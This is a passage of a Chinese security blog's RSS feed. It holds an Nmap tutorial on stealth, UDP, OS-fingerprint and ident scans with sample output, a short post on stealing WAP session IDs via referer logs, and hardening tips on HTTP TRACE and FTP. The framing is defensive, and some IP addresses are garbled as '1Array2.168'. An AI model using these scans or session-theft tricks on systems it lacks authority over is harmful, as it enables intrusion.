		<dc:creator>lee</dc:creator>
				<category><![CDATA[安全新闻]]></category>
		<category><![CDATA[安全防护]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=512</guid>
		<description><![CDATA[ Ping扫描(Ping Sweeping)]  [端口扫描(Port Scanning)]  [隐蔽扫描(Stealth Scanning)]  [UDP扫描(UDP Scanning)]  [操作系统识别(OS Fingerprinting)]  [Ident扫描(Ident Scanning)]  [选项(Options)]  [小结]  本文全方位地介绍Nmap的使用方法,可以让安全管理员了解在黑客眼中的站点.并通过使用它,安全管理员可以发现自己网站的漏洞,并逐步完善自己的系统.     Nmap是在免费软件基金会的GNU General Public License (GPL)下发布的,可从 www.insecure.org/nmap 站点上免费下载.下载格式可以是tgz格式的源码或RPM格式.目前较稳定的版本是2.12.带有图形终端,本文集中讨论Nmap命令的使用. Nmap的语法相当简单.Nmap的不同选项和-s标志组成了不同的扫描类型,比如:一个Ping-scan命令就是”-sP”.在确定了目标主机和网络之后,即可进行扫描.如果以root来运行Nmap,Nmap的功能会大大的增强,因为超级用户可以创建便于Nmap利用的定制数据包.  在目标机上,Nmap运行灵活.使用Nmap进行单机扫描或是整个网络的扫描很简单,只要将带有”/mask”的目标地址指定给Nmap即可.地址是”victim/24&#8243;, 则目标是c类网络,地址是”victim/16&#8243;, 则目标是B类网络.  另外,Nmap允许你使用各类指定的网络地址,比如 1Array2.168.7.*,是指1Array2.168.7.0/24, 或 1Array2.168.7.1,4,8-12,对所选子网下的主机进行扫描.  Ping扫描(Ping Sweeping)    入侵者使用Nmap扫描整个网络寻找目标.通过使用” -sP”命令,进行ping扫描.缺省情况下,Nmap给每个扫描到的主机发送一个ICMP echo和一个TCP ACK, 主机对任何一种的响应都会被Nmap得到.  举例:扫描1Array2.168.7.0网络:  # nmap -sP 1Array2.168.7.0/24  Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)  Host (1Array2.168.7.11) appears [...]]]></description>
			<content:encoded><![CDATA[<p> Ping扫描(Ping Sweeping)] </p>
<div>[端口扫描(Port Scanning)] </div>
<div>[隐蔽扫描(Stealth Scanning)] </div>
<div>[UDP扫描(UDP Scanning)] </div>
<div>[操作系统识别(OS Fingerprinting)] </div>
<div>[Ident扫描(Ident Scanning)] </div>
<div>[选项(Options)] </div>
<div>[小结] </div>
<div>本文全方位地介绍Nmap的使用方法,可以让安全管理员了解在黑客眼中的站点.并通过使用它,安全管理员可以发现自己网站的漏洞,并逐步完善自己的系统. </div>
<div>   Nmap是在免费软件基金会的GNU General Public License (GPL)下发布的,可从</div>
<div>www.insecure.org/nmap</div>
<div>站点上免费下载.下载格式可以是tgz格式的源码或RPM格式.目前较稳定的版本是2.12.带有图形终端,本文集中讨论Nmap命令的使用. Nmap的语法相当简单.Nmap的不同选项和-s标志组成了不同的扫描类型,比如:一个Ping-scan命令就是”-sP”.在确定了目标主机和网络之后,即可进行扫描.如果以root来运行Nmap,Nmap的功能会大大的增强,因为超级用户可以创建便于Nmap利用的定制数据包. </div>
<div>在目标机上,Nmap运行灵活.使用Nmap进行单机扫描或是整个网络的扫描很简单,只要将带有”/mask”的目标地址指定给Nmap即可.地址是”victim/24&#8243;, 则目标是c类网络,地址是”victim/16&#8243;, 则目标是B类网络. </div>
<div>另外,Nmap允许你使用各类指定的网络地址,比如 1Array2.168.7.*,是指1Array2.168.7.0/24, 或 1Array2.168.7.1,4,8-12,对所选子网下的主机进行扫描. </div>
<div>Ping扫描(Ping Sweeping) </div>
<div>  入侵者使用Nmap扫描整个网络寻找目标.通过使用” -sP”命令,进行ping扫描.缺省情况下,Nmap给每个扫描到的主机发送一个ICMP echo和一个TCP ACK, 主机对任何一种的响应都会被Nmap得到. </div>
<div>举例:扫描1Array2.168.7.0网络: </div>
<div># nmap -sP 1Array2.168.7.0/24 </div>
<div>Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) </div>
<div>Host (1Array2.168.7.11) appears to be up. </div>
<div>Host (1Array2.168.7.12) appears to be up. </div>
<div>Host (1Array2.168.7.76) appears to be up. </div>
<div>Nmap run completed &#8212; 256 IP addresses (3 hosts up) scanned in 1 second </div>
<div>如果不发送ICMP echo请求,但要检查系统的可用性,这种扫描可能得不到一些站点的响应.在这种情况下,一个TCP”ping”就可用于扫描目标网络. </div>
<div>一个TCP”ping”将发送一个ACK到目标网络上的每个主机.网络上的主机如果在线,则会返回一个TCP RST响应.使用带有ping扫描的TCP ping选项,也就是”PT”选项可以对网络上指定端口进行扫描(本文例子中指的缺省端口是80(http)号端口),它将可能通过目标边界路由器甚至是防火墙.注意,被探测的主机上的目标端口无须打开,关键取决于是否在网络上. </div>
<div># nmap -sP -PT80 1Array2.168.7.0/24 </div>
<div>TCP probe port is 80 </div>
<div>Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) </div>
<div>Host (1Array2.168.7.11) appears to be up. </div>
<div>Host (1Array2.168.7.12) appears to be up. </div>
<div>Host (1Array2.168.7.76) appears to be up. </div>
<div>Nmap run completed &#8212; 256 IP addresses (3 hosts up) scanned in 1 second </div>
<div>当潜在入侵者发现了在目标网络上运行的主机,下一步是进行端口扫描. </div>
<div>Nmap支持不同类别的端口扫描TCP连接, TCP SYN, Stealth FIN, Xmas Tree,Null和UDP扫描. </div>
<div>端口扫描(Port Scanning) </div>
<div>   一个攻击者使用TCP连接扫描很容易被发现,因为Nmap将使用connect()系统调用打开目标机上相关端口的连接,并完成三次TCP握手.黑客登录到主机将显示开放的端口.一个tcp连接扫描使用”-sT”命令如下. </div>
<div># nmap -sT 1Array2.168.7.12 </div>
<div>Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) </div>
<div>Interesting ports on (1Array2.168.7.12): </div>
<div>Port State Protocol Service </div>
<div>7 open tcp echo </div>
<div>Array open tcp discard </div>
<div>13 open tcp daytime </div>
<div>1Array open tcp chargen </div>
<div>21 open tcp ftp </div>
<div>&#8230; </div>
<div>Nmap run completed &#8212; 1 IP address (1 host up) scanned in 3 seconds </div>
<div>隐蔽扫描(Stealth Scanning) </div>
<div>   如果一个攻击者不愿在扫描时使其信息被记录在目标系统日志上,TCP SYN扫描可帮你的忙,它很少会在目标机上留下记录,三次握手的过程从来都不会完全实现.通过发送一个SYN包(是TCP协议中的第一个包)开始一次SYN的扫描.任何开放的端口都将有一个SYN|ACK响应.然而,攻击者发送一个RST替代ACK,连接中止.三次握手得不到实现,也就很少有站点能记录这样的探测.如果是关闭的端口,对最初的SYN信号的响应也会是RST,让NMAP知道该端口不在监听.”-sS”命令将发送一个SYN扫描探测主机或网络: </div>
<div># nmap -sS 1Array2.168.7.7 </div>
<div>Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) </div>
<div>Interesting ports on saturnlink.nac.net (1Array2.168.7.7): </div>
<div>Port State Protocol Service </div>
<div>21 open tcp ftp </div>
<div>25 open tcp smtp </div>
<div>53 open tcp domain </div>
<div>80 open tcp http </div>
<div>&#8230; </div>
<div>Nmap run completed &#8212; 1 IP address (1 host up) scanned in 1 second </div>
<div>虽然SYN扫描可能不被注意,但他们仍会被一些入侵检测系统捕捉.Stealth FIN,Xmas树和Null scans可用于躲避包过滤和可检测进入受限制端口的SYN包.这三个扫描器对关闭的端口返回RST,对开放的端口将吸收包.一个 FIN “-sF”扫描将发送一个FIN包到每个端口</div>
<div>然而Xmas扫描”-sX”打开FIN, URG和PUSH的标志位,一个Null scans “-sN”关闭所有的标志位.因为微软不支持TCP标准,所以FIN, Xmas Tree和Null scans在非微软公司的操作系统下才有效. </p>
<div>UDP扫描(UDP Scanning) </div>
<div>   如果一个攻击者寻找一个流行的UDP漏洞,比如 rpcbind漏洞或cDc Back Orifice.为了查出哪些端口在监听,则进行UDP扫描,即可知哪些端口对UDP是开放的.Nmap将发送一个O字节的UDP包到每个端口.如果主机返回端口不可达,则表示端口是关闭的.但这种方法受到时间的限制,因为大多数的UNIX主机限制ICMP错误速率.幸运的是,Nmap本身检测这种速率并自身减速,也就不会产生溢出主机的情况. </div>
<div># nmap -sU 1Array2.168.7.7 </div>
<div>WARNING: -sU is now UDP scan &#8212; for TCP FIN scan use -sF </div>
<div>Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) </div>
<div>Interesting ports on saturnlink.nac.net (1Array2.168.7.7): </div>
<div>Port State Protocol Service </div>
<div>53 open udp domain </div>
<div>111 open udp sunrpc </div>
<div>123 open udp ntp </div>
<div>137 open udp netbios-ns </div>
<div>138 open udp netbios-dgm </div>
<div>177 open udp xdmcp </div>
<div>1024 open udp unknown </div>
<div>Nmap run completed &#8212; 1 IP address (1 host up) scanned in 2 seconds </div>
<div>操作系统识别(OS Fingerprinting) </div>
<div>   通常一个入侵者可能对某个操作系统的漏洞很熟悉,能很轻易地进入此操作系统的机器.一个常见的选项是TCP/IP上的指纹,带有”-O”选项决定远程操作系统的类型.这可以和一个端口扫描结合使用,但不能和ping扫描结合使用.Nmap通过向主机发送不同类型的探测信号,缩小查找的操作系统系统的范围.指纹验证TCP包括使用FIN探测技术发现目标机的响应类型.BOGUS的标志探测,发现远程主机对发送的带有SYN包的不明标志的反应,TCP 初始序列号(ISN)取样发现ISN数值的样式,也可以用另外的方式决定远程操作系统.有一篇权威的关于指纹(fingertprinting)的文章,作者:Fyodor,也是namp的作者,参见地址:http://www.insecure.org/nmap/nmap-fingerprinting-article.html </div>
<div>Nmap’s操作系统的检测是很准确也是很有效的,举例:使用系统Solaris 2.7带有SYN扫描的指纹验证堆栈. </div>
<div># nmap -sS -O 1Array2.168.7.12 </div>
<div>Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) </div>
<div>Interesting ports on comet (1Array2.168.7.12): </div>
<div>Port State Protocol Service </div>
<div>7 open tcp echo </div>
<div>Array open tcp discard </div>
<div>13 open tcp daytime </div>
<div>1Array open tcp chargen </div>
<div>21 open tcp ftp </div>
<div>&#8230; </div>
<div>TCP Sequence Prediction: positive increments </div>
<div>Difficulty=17818 (Worthy challenge) </div>
<div>Remote operating system guess: Solaris 2.6 &#8211; 2.7 </div>
<div>Nmap run completed &#8212; 1 IP address (1 host up) scanned in 5 seconds </div>
<div>Ident扫描(Ident Scanning) </div>
<div>   一个攻击者常常寻找一台对于某些进程存在漏洞的电脑.比如,一个以root运行的WEB服务器.如果目标机运行了identd,一个攻击者使用Nmap通过”-I”选项的TCP连接,就可以发现哪个用户拥有http守护进程.我们将扫描一个Linux WEB服务器为例: </div>
<div># nmap -sT -p 80 -I -O www.yourserver.com </div>
<div>Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/) </div>
<div>Interesting ports on www.yourserver.com (xxx.xxx.xxx.xxx): </div>
<div>Port State Protocol Service Owner </div>
<div>80 open tcp http root </div>
<div>TCP Sequence Prediction: positive increments </div>
<div>Difficulty=11404Array2 (Good luck!) </div>
<div>Remote operating system guess: Linux 2.1.122 &#8211; 2.1.132; 2.2.0-pre1 &#8211; 2.2.2 </div>
<div>Nmap run completed &#8212; 1 IP address (1 host up) scanned in 1 second </div>
<div>如果你的WEB服务器是错误的配置并以root来运行,象上例一样,它将是黎明前的黑暗. </div>
<div>Apache运行在root下,是不安全的实践,你可以通过把/etc/indeed.conf中的auth服务注销来阻止ident请求,并重新启动ident.另外也可用使用ipchains或你的最常用的防火墙,在网络边界上执行防火墙规则来终止ident请求,这可以阻止来路不明的人探测你的网站用户拥有哪些进程. </div>
<div>选项(Options) </div>
<div>   除了以上这些扫描,Nmap还提供了无数选项.有一个是”-PT”,,我们已经介绍过了.在目标机或网络上常见的未经过滤的端口,进行TCP “ping”扫描. </div>
<div>另一个选项是”-P0&#8243;.在缺省设置下试图扫描一个端口之前,Nmap将用TCP ping” 和 ICMP echo命令ping一个目标机,如果ICMP 和TCP的探测扫描得不到响应,目标主机或网络就不会被扫描,即使他们是运行着的.而”-P0&#8243;选项允许在扫描之前不进行ping,即可进行扫描. </div>
<div>你应该习惯使用”-v”命令,它详细列出所有信息,能和所有的扫描选项一起使用.你能反复地使用这个选项,获得有关目标机的更多信息. </div>
<div>使用”-p “选项,可以指定扫描端口.比如 ,攻击者想探测你的web服务器的ftp(port 21),telnet (port 23), dns (port 53), http (port 80),想知道你所使用的操作系统,它将使用SYN扫描. </div>
<div># nmap -sS -p 21,23,53,80 -O -v </div>
<div>www.yourserver.com</div>
<div> </div>
<div>小结: </div>
<div>   使用什么样的方法来抵制一个黑客使用Nmap,这样的工具是有的,比如 Scanlogd, Courtney, and Shadow;,然而使用这样的工具并不能代替网络安全管理员.因为扫描只是攻击的前期准备,站点使用它只可以进行严密的监视. </div>
<div>使用Nmap监视自己的站点,系统和网络管理员能发现潜在入侵者对你的系统的探测.</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/512/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wap网站的安全之session</title>
		<link>http://www.whjlb.com/510</link>
		<comments>http://www.whjlb.com/510#comments</comments>
		<pubDate>Thu, 19 Jan 2012 14:37:39 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[安全新闻]]></category>
		<category><![CDATA[安全防护]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=510</guid>
		<description><![CDATA[ 现在WAP的网站也不少了吧。手机现在非常普及 　　不过手机网站也有漏洞 　　比如 不用XSS即可盗取sid 之后登录。 　　来做个比喻，比如广州电脑培训的学生在某个手机网站注册之后是 XXX.COM/?sid=123123123 　　当然猜是不可能了 　　这就要借助网站日志的来路记录 　　在这个论坛评个论，内容是http://www.safe121.com，发表出去，URL被转换成连接了 　　让人点击了，他的SID就被日志记录下来了(来路) 　　所以这就产生了跳过验证，以前QQ邮箱就有这个问题 　　举个例子,我写了个记录来路的php:         ]]></description>
			<content:encoded><![CDATA[<p> 现在WAP的网站也不少了吧。手机现在非常普及</p>
<p>　　不过手机网站也有漏洞</p>
<p>　　比如 不用XSS即可盗取sid 之后登录。</p>
<p>　　来做个比喻，比如广州<a href="http://www.ynbdqn.cn/">电脑培训</a>的学生在某个手机网站注册之后是 XXX.COM/?sid=123123123</p>
<p>　　当然猜是不可能了</p>
<p>　　这就要借助网站日志的来路记录</p>
<p>　　在这个论坛评个论，内容是http://www.safe121.com，发表出去，URL被转换成连接了</p>
<p>　　让人点击了，他的SID就被日志记录下来了(来路)</p>
<p>　　所以这就产生了跳过验证，以前QQ邮箱就有这个问题</p>
<p>　　举个例子,我写了个记录来路的php:</p>
<p>        <a href="http://www.myhack58.com/Article/UploadPic/2012-1/2012114124419140.jpg" target="_blank"><img src="http://www.myhack58.com/Article/UploadPic/2012-1/2012114124420188.jpg" alt="" width="238" height="226" border="0" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/510/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>预防HTTP TRACE 跨站攻击的方法</title>
		<link>http://www.whjlb.com/508</link>
		<comments>http://www.whjlb.com/508#comments</comments>
		<pubDate>Thu, 19 Jan 2012 14:37:06 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[安全防护]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=508</guid>
		<description><![CDATA[什么是跨站攻击？当webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试Web服务器连接的HTTP方式。支持该方式的服务器存在跨站脚本漏洞，通常在描述各种浏览器缺陷的时候，把”Cross-Site-Tracing”简称为XST。攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。   解决方案: 禁用这些方式。   如果你使用的是Apache, 在各虚拟主机的配置文件里添加如下语句:   RewriteEngine on   RewriteCond %{REQUEST_METHOD} ^(TRACE&#124;TRACK)   RewriteRule .* &#8211; [F]   如果你使用的是Microsoft IIS, 使用URLScan工具禁用HTTP TRACE请求，或者只开放满足站点需求和策略的方式。   如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更高的版本, 在obj.conf文件的默认object section里添加下面的语句:   &#60;Client method=”TRACE”&#62;   AuthTrans fn=”set-variable”   remove-headers=”transfer-encoding”   set-headers=”content-length: -1&#8243;   error=”501&#8243;   &#60;/Client&#62;   [...]]]></description>
			<content:encoded><![CDATA[<p>什么是跨站攻击？当webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试Web服务器连接的HTTP方式。支持该方式的服务器存在跨站脚本漏洞，通常在描述各种浏览器缺陷的时候，把”Cross-Site-Tracing”简称为XST。攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。</p>
<div> </div>
<div>解决方案: 禁用这些方式。</div>
<div> </div>
<div>如果你使用的是Apache, 在各虚拟主机的配置文件里添加如下语句:</div>
<div> </div>
<div>RewriteEngine on</div>
<div> </div>
<div>RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)</div>
<div> </div>
<div>RewriteRule .* &#8211; [F]</div>
<div> </div>
<div>如果你使用的是Microsoft IIS, 使用URLScan工具禁用HTTP TRACE请求，或者只开放满足站点需求和策略的方式。</div>
<div> </div>
<div>如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更高的版本, 在obj.conf文件的默认object section里添加下面的语句:</div>
<div> </div>
<div>&lt;Client method=”TRACE”&gt;</div>
<div> </div>
<div>AuthTrans fn=”set-variable”</div>
<div> </div>
<div>remove-headers=”transfer-encoding”</div>
<div> </div>
<div>set-headers=”content-length: -1&#8243;</div>
<div> </div>
<div>error=”501&#8243;</div>
<div> </div>
<div>&lt;/Client&gt;</div>
<div> </div>
<div>如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更低的版本, 编译如下地址的NSAPI插件:</div>
<div><a href="http://www.whjlb.com/">http://www.whjlb.com</a>/pub-cgi/retrieve.pl?doc=fsalert%2F50603</div>
<div> </div>
<div>参见<a href="http://www.whjlb.com/">http://www.whjlb.com</a>/press_releases/WH-PR-20030120.pdf</div>
<div><a href="http://www.whjlb.com/">http://www.whjlb.com</a>/archives/vulnwatch/2003-q1/0035.html</div>
<div><a href="http://www.whjlb.com/">http://www.whjlb.com</a>/pub-cgi/retrieve.pl?doc=fsalert%2F50603</div>
<div> </div>
<div><a href="http://www.whjlb.com/">http://www.whjlb.com</a>vuls/id/867593</div>
<p><!--内容正文--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/508/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一些关于linux ftp服务器安全建议</title>
		<link>http://www.whjlb.com/506</link>
		<comments>http://www.whjlb.com/506#comments</comments>
		<pubDate>Tue, 17 Jan 2012 00:58:08 +0000</pubDate>
		<dc:creator>lee</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[web防护]]></category>
		<category><![CDATA[安全防护]]></category>

		<guid isPermaLink="false">http://www.whjlb.com/?p=506</guid>
		<description><![CDATA[下面说下如何设置debian下的ftp的安全建议     　　1、建议使用虚拟账户，而且虚拟账户不允许登录终端(/sbin/nologin掉   　　)   　　2、ftp密码要复杂些，如果支持ssl一定要开启ssl!   　　ftp服务不要用root权限启动，否则万一出现个提权0day呢~   　　建议使用pureftpd。   　　这个最近还没出现0day。   　　而且速度比较快和稳定]]></description>
			<content:encoded><![CDATA[<p>下面说下如何设置debian下的ftp的安全建议<br />
 <br />
 <br />
　　1、建议使用虚拟账户，而且虚拟账户不允许登录终端(/sbin/nologin掉<br />
 <br />
　　)<br />
 <br />
　　2、ftp密码要复杂些，如果支持ssl一定要开启ssl!<br />
 <br />
　　ftp服务不要用root权限启动，否则万一出现个提权0day呢~<br />
 <br />
　　建议使用pureftpd。<br />
 <br />
　　这个最近还没出现0day。<br />
 <br />
　　而且速度比较快和稳定</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whjlb.com/506/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

